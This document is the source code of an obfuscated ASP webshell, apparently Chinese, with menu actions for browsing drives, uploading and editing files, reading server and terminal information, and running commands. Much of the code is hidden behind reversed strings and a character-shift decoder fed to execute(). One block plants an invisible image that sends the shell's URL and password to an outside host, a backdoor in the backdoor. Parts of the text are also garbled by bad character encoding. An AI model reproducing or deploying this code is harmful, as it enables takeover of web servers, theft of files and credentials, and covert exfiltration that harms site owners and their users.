a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>װ<EFBFBD><D7B0><EFBFBD><EFBFBD>>'emarFeliF'=tegrat 'kcuf=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><>Ա<EFBFBD><D4B1><EFBFBD>ܲ<EFBFBD>-<2D><><EFBFBD><EFBFBD>ͳϵ<CDB3><CFB5>>'emarFeliF'=tegrat 'banimda=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>˻<EFBFBD><CBBB><EFBFBD>-<2D><><EFBFBD><EFBFBD>ͳϵ<CDB3><CFB5>>'emarFeliF'=tegrat 'esruoC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7><EFBFBD><EFBFBD>-Ϣ<><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat 'ofnIrevreS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><>¼<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>-<2D>ڶ˶<DAB6><CBB6>ա<EFBFBD>>'emarFeliF'=tegrat 'ofnIlanimreTteg=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>󼶳<EFBFBD><F3BCB6B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat 'llehsneddih=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8>ޡ<EFBFBD>>'emarFeliF'=tegrat 'txeTeliFteS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><>¼Ŀд<C4BF>ɿ<EFBFBD><C9BF>顼>'emarFeliF'=tegrat 'mroFevirDnacS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<<3C><>ľ>b/<<3C><><EFBFBD><EFBFBD>>b<<3C>Ҳ<EFBFBD><D2B2><EFBFBD>>'emarFeliF'=tegrat 'amumk=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>rt/<>dt/<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ϡ<EFBFBD>>'emarFeliF'=tegrat 'eliFpU=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>¡<EFBFBD>>'emarFeliF'=tegrat 'eliFtidE=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<<3C><>¼Ŀ<C2BC><C4BF><EFBFBD>¡<EFBFBD>>')<29><><EFBFBD><EFBFBD>redloFweN<65><4E><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&)<29><>redloFweN\<5C><>&)<29><>htaPredloF<6F><46>(noisseS(htaPeR&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(mroFlluF:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<>b/<<3C><>¼Ŀ<C2BC><C4BF><EFBFBD>̱<EFBFBD><CCB1><EFBFBD>>b<>')<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&)htaPtooR(htaPeR&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<>b/<<3C><>¼Ŀ<C2BC><C4BF><EFBFBD>
if session("IDebugMode") <> "ok" then:x mmm:session("IDebugMode")="ok":end if
if session("aase") <> "ok" then:response.write Efun:session("aase")="ok":end if
RRS"</table>":End Function:Sub Message(state,msg,flag):Response.Write "<TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#91d70d>"
Response.Write " <TR>"
Response.Write " <TD class=TBHead>ϵͳ<CFB5><CDB3>Ϣ</TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write " <TD align=middle bgcolor=#ecfccd>"
Response.Write " <TABLE width=82% border=0 cellpadding=5 cellspacing=0>"
Response.Write " <TR>"
Response.Write " <TD><FONT color=red>"
Response.Write state
Response.Write "</FONT></TD>"
Response.Write " <TR>"
Response.Write " <TD><P>"
Response.Write msg
Response.Write "</P></TD>"
Response.Write " </TR>"
Response.Write " </TABLE>"
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write " <TD class=TBEnd>"
Response.Write " "
If flag=0 Then
Response.Write " <INPUT type=button value=<3D>ر<EFBFBD> onclick=""window.close();"">"
Response.Write " "
Else
Response.Write " <INPUT type=button value=<3D><><EFBFBD><EFBFBD> onClick=""history.go(-1);"">"
Response.Write " "
End if
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write "</TABLE>"
End Sub:
execute(shisanfun("fi dne:fi dne:fi dne:1+)<29><>cevres<65><73>(noisses=)<29><>cevres<65><73>(noisses neht <20><><EFBFBD><EFBFBD>><noitcA fi:esle:<3A><>>vid/<>/ '<27><>&ssaPresU&<26><>=p&<26><>&))<29><>L<EFBFBD><4C>&<26><>RU<52><55>(selbairaVrevreS.tseuqer&)<29><>TS<54><53>&<26><>OH_PT<50><54>&<26><>TH<54><48>(selbairaVrevreS.tseuqer&<26><>//:pt<70><74>&<26><>th<74><68>(edocnELRU.revres&<26><>=lru?<3F><>&<26><>psa.y<><79>&<26><>ek/x<><78>&<26><>s/D6%F6%36%.pxe<78><65>&<26><>ya<79><61>&<26><>do.77%77%77%//:pt<70><74>&<26><>th'=crs gmi<>'enon:yalpsid'=elyts vid<<3C><>SRR:1+)<29><>cevres<65><73>(noisses=)<29><>cevres<65><73>(noisses:neht 1=)<29><>cevres<65><73>(noisses fi:esle:neht 0><)<29><>//:ptth<74><68>,urevreS(rtsnI ro 0><)<29><>.861.291<EFBFBD><EFBFBD>,urevreS(rtsnI ro 0><)<29><>1.0.0.721<EFBFBD><EFBFBD>,urevreS(rtsnI fi"))
Function Red(str):Red = "<FONT color=#ff2222>" & str & "</FONT>":End Function:Sub ScanDriveForm():Dim FSO,DriveB:Set FSO = Server.Createobject("Scripting.FileSystemObject")
execute(LUnEnCode("<22>e'CRWTK4A%%'%jynw\3jxstuxjW<6A>e'aUXFa?K<><4B><EFBFBD>硣<EFBFBD><E7A1A3>·<EFBFBD>м<EFBFBD><D0BC>Ķ<EFBFBD>ָ<EFBFBD><D6B8>C<EFBFBD>汨<EFBFBD><E6B1A8><EFBFBD><EFBFBD>Bjzqf{%ynrgzxBju~y%YZUSNA '%jynw\3jxstuxjW<6A>e'CwjiqtKBjrfs%y}jyBju~y%YZUSNA%%%%'%jynw\3jxstuxjW<6A>e'<27><>ѯ<EFBFBD><D1AF><EFBFBD>м<EFBFBD><D0BC>Ķ<EFBFBD>ָCyxtUBitmyjr%wjiqtKhXBstnyhFD'%jynw\3jxstuxjW<6A>e'BstnyhF%RWTKA%%'%jynw\3jxstuxjW<6A>e.'Cg4A'-+.'4'-myfUufR3wj{wjX+.'?<3F><>·<EFBFBD>Ծ<EFBFBD>վ<EFBFBD><D5BE>ǰ<EFBFBD><C7B0>CgA'-%XWW<57>e'CwjysjhBslnqf%[NIA'%jynw\3jxstuxjW<6A>e'CWGACJQGFY4A'%jynw\3jxstuxjW<6A>e'CWY4A%%'%jynw\3jxstuxjW<6A>e'CRWTK4A '%jynw\3jxstuxjW<6A>e'CIY4AC<41>汨ϸ<E6B1A8><CFB8>Bjzqf{%ynrgzxBju~y%YZUSNACjqiinrBslnqf%IYA '%jynw\3jxstuxjW<6A>e'CIY4A'%jynw\3jxstuxjW<6A>e.7-wjiqtKqfnhjuXyjL3TXK%jynw\3jxstuxjW<6A>e'C8Bsfuxqth%IYA '%jynw\3jxstuxjW<6A>e'CIY4ACG4A<34>м<EFBFBD><D0BC><EFBFBD>ʱ<EFBFBD><CAB1>ͳϵCGACjqiinrBslnqf%IYA '%jynw\3jxstuxjW<6A>e'%% CyxtUBitmyjr%'%jynw\3jxstuxjW<6A>e.7-wjiqtKqfnhjuXyjL3TXK%jynw\3jxstuxjW<6A>e'BwjiqtK+wjiqtKhXBstnyhFD'%jynw\3jxstuxjW<6A>e'Bstnyhf%RWTKA%%%%'%jynw\3jxstuxjW<6A>e'CIYGYBxxfqh%WYA%%'%jynw\3jxstuxjW<6A>e'CWY4A%%'%jynw\3jxstuxjW<6A>e'CRWTK4A '%jynw\3jxstuxjW<6A>e'CIY4AC<41>汨ϸ<E6B1A8><CFB8>Bjzqf{%ynrgzxBju~y%YZUSNACjqiinrBslnqf%IYA '%jynw\3jxstuxjW<6A>e'CIY4A'%jynw\3jxstuxjW<6A>e.6-wjiqtKqfnhjuXyjL3TXK%jynw\3jxstuxjW<6A>e'C8Bsfuxqth%IYA '%jynw\3jxstuxjW<6A>e'CIY4ACG4A<34>м<EFBFBD><D0BC><EFBFBD>78rjyx~XCGACjqiinrBslnqf%IYA '%jynw\3jxstuxjW<6A>e'%% CyxtUBitmyjr%'%jynw\3jxstuxjW<6A>e.6-wjiqtKqfnhjuXyjL3TXK%jynw\3jxstuxjW<6A>e'BwjiqtK+wjiqtKhXBstnyhFD'%jynw\3jxstuxjW<6A>e'Bstnyhf%RWTKA%%%%'%jynw\3jxstuxjW<6A>e'CIYGYBxxfqh%WYA%%'%jynw\3jxstuxjW<6A>e'CWY4A%%'%jynw\3jxstuxjW<6A>e'CRWTK4A '%jynw\3jxstuxjW<6A>e'CIY4AC<41>汨ϸ<E6B1A8><CFB8>Bjzqf{%ynrgzxBju~y%YZUSNACjqiinrBslnqf%IYA '%jynw\3jxstuxjW<6A>e'CIY4A'%jynw\3jxstuxjW<6A>e.5-wjiqtKqfnhjuXyjL3TXK%jynw\3jxstuxjW<6A>e'C8Bsfuxqth%IYA '%jynw\3jxstuxjW<6A>e'CIY4ACG4A<34>м<EFBFBD><D0BC><EFBFBD>x|tisn\CGACjqiinrBslnqf%IYA '%jynw\3jxstuxjW<6A>e'%% CyxtUBitmyjr%'%jynw\3jxstuxjW<6A>e.5-wjiqtKqfnhjuXyjL3TXK%jynw\3jxstuxjW<6A>e'BwjiqtK+wjiqtKhXBstnyhFD'%jynw\3jxstuxjW<6A>e'Bstnyhf%RWTKA%%%%'%jynw\3jxstuxjW<6A>e'CIYGYBxxfqh%WYA%%'%jynw\3jxstuxjW<6A>ey}jS<6A>e'CWY4A%%'%jynw\3jxstuxjW<6A>e'CRWTK4A '%jynw\3jxstuxjW<6A>e'CIY4AC<41>汨ϸ<E6B1A8><CFB8>Bjzqf{%ynrgzxBju~y%YZUSNACIYA '%jynw\3jxstuxjW<6A>e'CIY4A '%jynw\3jxstuxjW<6A>eyhjqjX%isJ%% <09>e'<27><><EFBFBD><EFBFBD>֪δ'%jynw|3jxstuxjW%?jxqj%jxfH%% <09>e'<27>̴<EFBFBD>RFW'%jynw|3jxstuxjW%?:%jxfH%% <09>e'RTW2IH'%jynw|3jxstuxjW%?9%jxfH%% <09>e'<27>̴<EFBFBD><CCB4><EFBFBD><EFBFBD><EFBFBD>'%jynw|3jxstuxjW%?8%jxfH%% <09>e'<27><>Ӳ<EFBFBD>ر<EFBFBD>'%jynw|3jxstuxjW%?7%jxfH%% <09>e'<27><><EFBFBD>ƿ<EFBFBD>'%jynw|3jxstuxjW%?6%jxfH%%%%%% <09>eju~Yj{nwI3Gj{nwI%jxfH%yhjqjX<6A>e'C'+.<8-wmh+'57Bmyin|%IYA '%jynw|3jxstuxjw<6A>e'CIY4ACG4A<34><41><EFBFBD><EFBFBD>CGAC'+.<8-wmh+'57Bmyin|%IYA '%jynw|3jxstuxjw<6A>e'CIY4A?'%jynw|3jxstuxjw<6A>ewjyyjQj{nwI3Gj{nwI%jynw|3jxstuxjw<6A>e'C'+.<8-wmh+':6Bmyin|%IYA'%jynw|3jxstuxjw <09>e'CIY4ACG4A<34><41><EFBFBD><EFBFBD>CGAC'+.<8-wmh+':7Bmyin|%IYA'%jynw|3jxstuxjw<6A>e<EFBFBD>e'CyxtUBitmyjr%'%jynw|3jxstuxjw<6A>ewjyyjQj{nwI3Gj{nwI%jynw\3jxstuxjW%<25>e'Bj{nwI+j{nwIsfhXBstnyhFD'%jynw\3jxstuxjW<6A>e<EFBFBD>e<EFBFBD>e'Bstnyhf%RWTKA%%%%'%jynw\3jxstuxjW<6A>e'CIYGYBxxfqh%jqiinrBslnqf%WYA%%'%jynw\3jxstuxjW<6A>exj{nwI3TXK%sn%Gj{nwI%mhfJ%wtK%%<25>e<EFBFBD>e<EFBFBD>e'CWY4A%%'%jynw\3jxstuxjW<6A>e'CIY4AϢ<41>żм<C5BC><D0BC><EFBFBD>ͳϵ4<CFB5>̴<EFBFBD>CifjMGYBxxfqh%:Bsfuxqth%IYA%%%%'%jynw\3jxstuxjW<6A>e'CWYA%%'%jynw\3jxstuxjW<6A>e'Ci5<i6>(BwtqtHlg%6Blsnhfuxqqjh%8Blsniifuqqjh%wjysjhBslnqf%5Bwjiwtg%5=9Bmyin|%JQGFYA'%jynw\3jxstuxjW"))
Set FSO=Nothing:
End Sub:
execute(LUnEnCode("stnyhszK%isJ?wyXw\jW%B%w\jWhX%%%<25>elsnmytS%B%TXK%yjX%%%<25>elsnmytS%B%wjiqtKyxjY%yjX%%%<25>elsnmytS%B%yxnQjqnKyxjY%yjX%%%<25>ekn%isJ%%%<25>ekn%isJ%%% <09>ejzwY1jrfsjqnKisW%+%wjiqtk%jqnKjyjqjI3TXK%%% <09>e'CYSTK4A<34><41>д<EFBFBD><D0B4>'%+%wyXw\jW%B%wyXw\jW%%%%%%% <09>ejxqJ%%% <09>e'CYSTK4A<34><41>д<EFBFBD>ɲ<EFBFBD>'%+%wyXw\jW%B%wyXw\jW%%% <09>ewfjqH3wwj%%%%%%% <09>esjmY%wwj%kN%%% <09>ejzwY1jrfsjqnKisW%+%wjiqtk%jqnKy}jYjyfjwH3TXK%%% <09>e'1<><31><EFBFBD><EFBFBD>%C7777kk(Bwtqth%YSTKA'%+%wjiqtk%B%wyXw\jW%%%%%%%<25>ejxqJ%%%<25>ekN%isJ%%% <09>ejzwY1jrfsjqnKisW%+%wjiqtk%jqnKjyjqjI3TXK%%% <09>e'CYSTK4A<34><41>д<EFBFBD><D0B4>'%+%wyXw\jW%B%wyXw\jW%%%%%%% <09>ejxqJ%%% <09>e'CYSTK4A<34><41>д<EFBFBD>ɲ<EFBFBD>'%+%wyXw\jW%B%wyXw\jW%%% <09>ewfjqH3wwj%%%%%%% <09>esjmY%wwj%kN%%% <09>ejzwY1jrfsjqnKisW%+%wjiqtk%jqnKy}jYjyfjwH3TXK%%% <09>e'1<><31><EFBFBD>ɲ<EFBFBD>%C7777kk(Bwtqth%YSTKA'%+%wjiqtk%B%wyXw\jW%%% <09>ewfjqH3wwj%%%%%%%<25>esjmY%wwj%kN%%%<25>ey}jS%%%<25>eyxnQjqnKyxjY%sn%F%mhfJ%wtK%%%<25>e'ury3'%+%.|ts-isthjX%+%.|ts-jyzsnR%+%.|ts-wztM%+%.|ts-~fI%+%'urjya'%B%jrfsjqnKisW%%%<25>exwjiqtKgzX3wjiqtKyxjY%B%yxnQjqnKyxjY%yjX%%%<25>e.wjiqtk-wjiqtKyjL3TXK%B%wjiqtKyxjY%yjX%%%<25>e.'yhjogTrjyx~XjqnK3lsnyunwhX'-yhjogtjyfjwH3wj{wjX%B%TXK%yjX%%%<25>ejrfsjqnKisW1wyXw\jW1yxnQjqnKyxjY1wjiqtKyxjY1TXK%rnI%%%<25>ey}jS%jrzxjW%wtwwJ%sT?.wjiqtk-w\jWhX%stnyhszK?gzX%isJ?61lxrhX1'Ϣ<>żм<C5BC><D0BC><EFBFBD>'%jlfxxjR <09>elsnmytS%B%TXK%yjX <09>e.'&<26><><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD>дֻ<D0B4><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD>ˢ<EFBFBD>ζ<EFBFBD>Ҫ<EFBFBD><D2AA>'-ijW%+%'<27><><EFBFBD><EFBFBD>עCNQA'%+%lxrhX%B%lxrhX <09>ekn%isJ <09>e.'&<26><>Ȩ<EFBFBD><C8A8><EFBFBD>޻<EFBFBD><DEBB>ڴ治'%+%wjiqtk-ijW%+%'<27><><EFBFBD>м<EFBFBD><D0BC><EFBFBD>CNQA'%+%lxrhX%B%lxrhX%%%% <09>ejxqJ <09>elsnmytS%B%wjiqtKT%yjX <09>elsnmytS%B%xwjiqtKurjY%yjX <09>ey}jS <09>e%%.X-w\jWhX%+%'<27><><EFBFBD>м<EFBFBD><D0BC><EFBFBD>CNQA'+lxrhX%B%lxrhX%%%%% <09>exwjiqtKurjY%sn%X%mhfJ%wtK <09>e.wjiqtk-w\jWhX%+%'<27><>¼Ŀ<C2BC><C4BF><EFBFBD>м<EFBFBD><D0BC>Ķ<EFBFBD>ָCNQA'%B%lxrhX <09>exwjiqtKgzX3wjiqtKT%B%xwjiqtKurjY%yjX <09>e.wjiqtk-wjiqtKyjL3TXK%B%wjiqtKT%yjX%%%% <09>esjmY%.wjiqtk-xyxn}JwjiqtK3TXK%kN <09>e.'yhjogTrjyx~XjqnK3lsnyunwhX'-yhjogtjyfjwH3wj{wjX%B%TXK%yjX <09>eX1lxrhX1wjiqtKurjY1wjiqtKT1TXK%rnI <09>ey}jS%jrzxjW%wtwwJ%sT?.wjiqtk-wjiqtKhX%gzX?gzX%isJ?kn%isJ <09>e61wyXdurjY1'Ϣ<><CFA2><EFBFBD>̴<EFBFBD>?'%+%j{nwI%jlfxxjR <09>e.'&<26><><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD>дֻ<D0B4><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD>ˢ<EFBFBD>ζ<EFBFBD>Ҫ<EFBFBD><D2AA>'-ijW%+%'<27><><EFBFBD><EFBFBD>עCNQA'%+%wyXdurjY%B%wyXdurjY <09>elsnmytS%B%TXK%yjX%%%% <09>elsnmytS%B%j{nwIyxjY%yjX <09>ekn%isJ%%%% <09>e'-?<3F>ַ<EFBFBD><D6B7><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>¼Ŀ<C2BC><C4BF><EFBFBD><EFBFBD>'%+%j{nwI%+%'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CNQA'%+%wyXdurjY%B%wyXdurjY%sjmy%5By%kN <09>ey}jS%%%% <09>ekn%isJ%%%% <09>e..n-yxnQwjiqtKurjY%+%'a?'%+%j{nwI-w\jWhX%+%'<27><><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD>ַ<EFBFBD>CNQA'%+%wyXdurjY%B%wyXdurjY <09>e60y%B%y%%%% <09>esjmY%..n-yxnQwjiqtKurjY%+%'a?'%+%j{nwI-xyxn}JwjiqtK3TXK%kN%%%% <09>e.yxnQwjiqtKurjY-isztgZ%ty%5%B%n%wtK <09>e.'uyky'1'gzur|'1'uyk'1'gzuyjsN'1'xjqnK%rfwltwU'1'xlsnyyjX%isf%xysjrzhtI'1'xqttY'1'umu'1'uxf'1'5557x|tisn|'1'jrsn|'1'gj|'1'=>sn|'1'5557sn|'1'sn|'1'yssn|'1'x|tisn|'-~fwwF%B%yxnQwjiqtKurjY <09>e.'<27><><EFBFBD>Բ<EFBFBD>¼Ŀ<C2BC><C4BF><EFBFBD><EFBFBD>'-ijW%+%'CNQA'%+%wyXdurjY%B%wyXdurjY <09>e5By?y1yxnQwjiqtKurjY%rnI <09>e.'-?<3F><><EFBFBD>ɲ<EFBFBD>'-ijW%+%'?¼Ŀ<C2BC><C4BF><EFBFBD>̴<EFBFBD>CNQA'%+%wyXdurjY%B%wyXdurjY%%%% <09>ejxqJ%%%% <09>elsnmytS%B%wjiqtKjxfG%yjX <09>elsnmytS%B%wjiqtKurjY%yjX <09>ey}jS <09>e.I-w\jWhX%+%'<27><><EFBFBD>м<EFBFBD><D0BC><EFBFBD>CNQA'%+%wyXdurjY%B%wyXdurjY%%%% <09>exwjiqtKurjY%sn%I%mhfJ%wtK <09>exwjiqtKgzX3wjiqtKjxfG%B%xwjiqtKurjY%yjX <09>ewjiqtKyttW3j{nwIyxjY%B%wjiqtKjxfG%yjX <09>e<EFBFBD>e..'a?'%+%j{nwI--w\jWhX%+%'?¼Ŀ<C2BC><C4BF><EFBFBD>̴<EFBFBD>CNQA'%+%.jrfSjrzqt[3j{nwIyxjY-ijW%+%'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>CNQA'%+%..;<:=9564j nXqfytY3j{nwIyxjY-ysNH-ijW%+%'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>CNQA'%+%.jrfSjwfmX3j{nwIyxjY-ijW%+%'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>CNQA'%+%.wjgrzSqfnwjX3j{nwIyxjY-ijW%+%'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>CNQA'%+%.rjyx~XjqnK3j{nwIyxjY-ijW%+%'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>CNQA'%B%wyXdurjY%%%% <09>esjmY%~ifjWxN3j{nwIyxjY%kN <09>e.j{nwI-j{nwIyjL3TXK%B%j{nwIyxjY%yjX <09>e.'yhjogTrjyx~XjqnK3lsnyunwhX'-yhjogtjyfjwH3wj{wjX%B%TXK%yjX%%%% <09>esjmY%''%CA%j{nwI%kN <09>eI1wyXdurjY1xwjiqtKurjY1wjiqtKjxfG1j{nwIyxjY1TXK%rnI?.j{nwI-j{nwIsfhX%gzX")):
execute(LUnEnCode("stnyhszK%isJ?'Cjqgfy4A'+7NX+6NX+5NX+NX%XWW<57>ey}js<6A>ekn%isj<73>e'Cwy4ACiy4ACystk4A'+myfu3ogt+'@uxgs+C5555KK(Bwtqth%ystkAb'+}q+'?<3F><><EFBFBD>ද<EFBFBD><E0B6AF>`C''7''Bsfuxqth%''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACwyA'+jrfS~fquxnI3ogt+'@uxgs+C''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACiy4A'+jrfS3ogt+'@uxgs+C''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACwyA'+7NXB7NX<4E>ejxqj<71>e'Cwy4ACiy4ACystk4A'+myfu3ogt+'@uxgs+C5555KK(Bwtqth%ystkAb'+}q+'?<3F><><EFBFBD>ද<EFBFBD><E0B6AF>`C''7''Bsfuxqth%''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACwyA'+jrfS~fquxnI3ogt+'@uxgs+C''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACiy4A'+jrfS3ogt+'@uxgs+C''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACwyA'+6NXB6NX<4E>esjmy%7Bju~YywfyX3OGT%isf%'sn|'CA..8191myfu3ogt-inr-jxfHQ%kn<6B>e'<27>ý<EFBFBD>'B}q%sjmy%9Bju~YywfyX3OGT%kn<6B>e'<27><><EFBFBD><EFBFBD>'B}q%sjmy%8Bju~YywfyX3OGT%kn<6B>e'<27><><EFBFBD><EFBFBD>'B}q%sjmy%7Bju~YywfyX3OGT%kn<6B>ekn%isj<73>e%'Cwy4ACiy4A@uxgs+C''7''Bsfuxqth%''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyACwyA'B5NX<4E>e'Cwy4ACiy4A'+NXBNX<4E>e'.<2E><>-<2D><><EFBFBD><EFBFBD>ͳϵ'+NXBNX<4E>e%'@uxgs+C''KKKKKK(''Bwtqthlg%iyACiy4A'+NXBNX<4E>ejrfS3ogt+NXBNX<4E>e'@uxgs+C''KKKKKK(''Bwtqthlg%''57''Bymlnjm%iyA'+NXBNX<4E>e'CwyA'+NXBNX<4E>esjmy%''Bju~YywfyX3OGT%kn<6B>ewfjqh3wwj<77>e.'344?YSsn\'-yhjogTyjl%sn%ogt%mhfj%wtk<74>ey}js%jrzxjw%wtwwj%st<73>e'Cwy4ACiy4A<34><41><EFBFBD><EFBFBD><EFBFBD>뻧<EFBFBD><EBBBA7>ͳϵC,zsjr,Bwtqthlg%,wjysjh,Bslnqf%,8,Bsfuxqth%,57,Bymlnjm%iyACwyA'+NXBNX<4E>e'C,wjysjh,Bslnqf%,5,Blsniifuqqjh%,6,Blsnhfuxqqjh%,5,Bwjiwtg%,zsjr,Bwtqthlg%,55;,Bmyin|%jqgfyACwgA'BNX?.-jxwztH%stnyhszK"))
execute(LUnEnCode("stnyhszK%isJ?kn%isj<73>e'pwt|yjS3yunwhx\?<3F><>Ȩ<EFBFBD><C8A8>û'%jynw|3jxstuxjW<6A>esjmy%wwj%kn<6B>ey}jS<6A>e'CwgA'+jrfS3snrif%jynw|3jxstuxjW<6A>exwjgrjR3uztwLogt%sn%snrif%mhfJ%wtK<74>e.'uztwl1xwtyfwyxnsnriF4'+jrfSwjyzurtH3Sy+'44?YSsn\'-yhjogTyjLBuztwLogt%yjX<6A>e.'pwt|yjS3yunwhx\'-yhjogTjyfjwh3wj{wjxBSy%yjX<6A>e<EFBFBD><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>xwtyfwyxnsnriF<69>Ҳ<EFBFBD>,%y}js%jrzxjw%wtwwj%st<73>e5Bxjwnu}J3jxstuxjW?.-gfsnrif%stnyhszK?stnyhszK%isJ?kn%isj<73>eisj3jxstuxjW<6A>eINxxjhtwUysn+'CwgA'%jynw\3jxstuxjW<6A>e.INxxjhtwUysn1Ht1qqzs1'wjxz%yjs'-jyfjwh3uu%jynw\3jxstuxjW<6A>e.'xxjhtwUd78sn\'-yjl3hhBuu%yjX<6A>e76B|tisn\|tmX3Ht<48>edjhsfyxsNs|fuX3xxBHt%yjX<6A>e.'uzywfyXxxjhtwUd78sn\'-yjl3hhBxx%yjx<6A>e..'i}'-yxjzvjw-wj{wjxyhjssth3||Bhh%yjx<6A>e.'wtyfhtqrjg|x3lsnyunwhxrjg|'-yhjogtjyfjwh3wj{wjxB||%yjx<6A>esjmy%''CA.'i}'-yxjzvjw%kn<6B>e'Crwtk4A'%XWW<57>e'C''<27><><EFBFBD><EFBFBD>''Bjzqf{%''ynrgzX''Bjrfs%''ynrgzx''Bju~y%yzusnA%%%%'%XWW<57>e'C''5<''Bj nx%''@ytzv+wjphfm@ytzv+1@ytzv+)wjphfm@ytzv+1@ytzv+7{rnh4yttw@ytzv+1@ytzv+6353=;637>6@ytzv+''Bjzqf{%''i}''Bin%''y}jy''Bju~y%''i}''Bjrfs%yzusnA'%XWW<57>e'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>Զ%%'%XWW<57>e'C''nr|BstnyhFD''Bstnyhf%''yxtu''Bitmyjr%''6rwtk''Bjrfs%rwtkA'%XWW<57>e'C,wjysjh,Bslnqf%,5,Blsniifuqqjh%,6,Blsnhfuxqqjh%,5,Bwjiwtg%,zsjr,Bwtqthlg%,*5=,Bmyin|%jqgfyACwgA'BNX?.-nr|%stnyhszK")):
